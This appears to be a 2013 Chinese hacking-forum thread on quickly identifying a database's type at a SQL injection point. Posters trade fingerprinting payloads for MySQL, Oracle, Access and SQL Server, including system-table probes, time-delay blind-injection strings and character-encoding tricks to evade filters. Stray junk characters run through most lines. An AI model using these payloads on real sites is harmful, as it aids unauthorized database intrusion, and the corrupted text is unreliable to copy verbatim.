一个注射点如何最快速确认是什么类型数据库
. Q) J0 V; ?0 x7 n& S: qxsser (十根阳具有长短!!) | 2013-02-05 12:36
5 ]# c* Q, _6 V4 N* K* e假设这么一个注射点:1 V2 g/ T9 Y9 I% L- I* n
show.html?id=2" y, ?4 W( y9 m8 m
mysql:id=2 and version()>0
3 Y9 h6 l. g) w+ U5 p8 Poracle:id=2 and '1'||'1'='118 P3 z2 Q: ]' v- g0 t
其他的欢迎补充: C7 f4 s2 O2 x2 i# ]* S7 p! H& m& d1 v
1#
# y* k( S( S4 l2 nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47. _9 t$ k" R0 M: b) f ?" m6 Z
Access:) F9 X/ U6 W; t1 O7 R
aNd aSc(cHr(97))=97
& S* D: A0 N1 v$ w: v# ]and exists(select id from MSysAccessObjects)/ F( N" n4 Q* Q9 I& F7 V
SQL Server:2 x3 ]/ W3 _5 q6 Y
and exists(select id from sysobjects)
9 C* ?8 _, X+ Z* L* I$ aand length(user)>0
8 |+ H" v* Y( M3 R: v4 H. {MySQL:$ K$ ]/ M5 z$ ~/ ~, L
and length(user())>02 M" \8 |8 E: _( g: _* @
2#
) o: H4 q& R0 o+ Bxsser (十根阳具有长短!!) | 2013-02-05 12:48
, M( Y6 R7 c4 k+ |% _& M@upload 如果这些都不是呢…5 a q+ \4 A4 w6 L
3#
1 D9 Q3 j- A0 e1 Z* Q2 _) u2 Y0 a0 gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
) s8 \; D9 ?) Y" h+ Y! w N@xsser 不快速的,延时注入
+ b: Y- _* J; N4 S不知道这样写对不对
1 G# ~- J# [! }" kmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'4 O" B; t' v' c* ^
mysql:id=2 and select benchmark(1e8,current_date());4 m% _8 y( D2 H8 u- _7 g
4#! w. ~4 [% e0 z. ]1 W1 ?
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:109 J3 J% X4 x d" |& t
最快的貌似是看报错信息
- z1 v& J! J' V9 S3 ~ yoracle error# F* }+ O3 k) U! i' h
mssql error
* C Q/ O* d6 V1 ]1 lmysql error _- E0 p7 K i8 s3 f9 u
5#* ~# O: k2 O5 ]6 p1 D
Nimda (你们都是坏银~) | 2013-02-05 13:14
5 m1 {- {! O6 D- Y9 K小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
9 ?. ?8 N0 I, v( C" ^6#
. P' e3 S5 p* T" _: a: r% wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21' {* S3 i7 T- p' n
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:: T7 P+ X+ B& I% F
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
! K; u/ k% d( q/ e5 N, X- G9 Z“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。, Y& t+ B" c( @ p6 Q9 N
7#
- Z3 s1 {4 J* Q/ M% e# e_Evil (HackEnd) | 2013-02-05 13:33
- p# S9 ^" Z7 @0 x% oPostgreSQL1 {; s: d0 {% u) m/ Q
8#
& R7 v' g: {# \& pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:429 N" L; `% o1 X$ l
切换编码 and 1=1
4 f$ d9 O! G) G$ S; F" `1 uoracle: N c* I2 o0 x7 J* b$ h
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
9 O) M0 X4 m2 [mssql:
* n4 `7 s2 |/ f+ BCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
+ K4 c2 e* P5 m. g. K$ fmysql:, z8 |5 Y' l0 K5 |' W0 t. G6 V( v! f
CHAR(97, 110, 100, 32, 49, 61, 49)
. T' k) |9 o5 z+ l9#: a* }0 M8 s& Y: o: X) ]) v7 ~- m% U. X
xsser (十根阳具有长短!!) | 2013-02-05 14:31
6 u0 G6 t2 {7 w. v( {% L4 x@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?( n1 C( Q& l* U
10#
- @ E- \% [; d7 }3 O7 V$ Nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
: c! y+ |( b/ i" [@xsser 是奇葩数据库类型的么?
& q2 ^- w" q' r4 X$ r根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:% x3 i0 d2 Z; c+ O3 x. w
1.是否可以使用特定的函数来判断,该数据库特有的! D! j8 W: Q% Y/ i
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 W$ P/ ~; c; [/ C. l6 C4 V
3.是否可以编码查询! Q$ S p$ W" K( x4 m/ k/ Q
4.是否显可以利用错信息
% I/ q4 Z5 E% S; T( `5.是否存在数据库某些特性辅助判断
0 \) M) }# X4 M个人见解: k* T- M! [ M+ n" Y4 z9 n
11#
0 b0 b1 d% d: R- a小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55) N+ G7 c8 h- u+ }
已收藏,mssql可以直接看到错误提示的吧~
9 K2 D1 R( f' o9 Y12#4 z" W, d: U# m* K7 t
Passer_by | 2013-02-05 15:092 ?2 _( }6 d% o& c' W: H/ [/ b) k
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
/ _, k0 p6 p) V9 y0 B" `from:http://zone.wooyun.org/content/260 |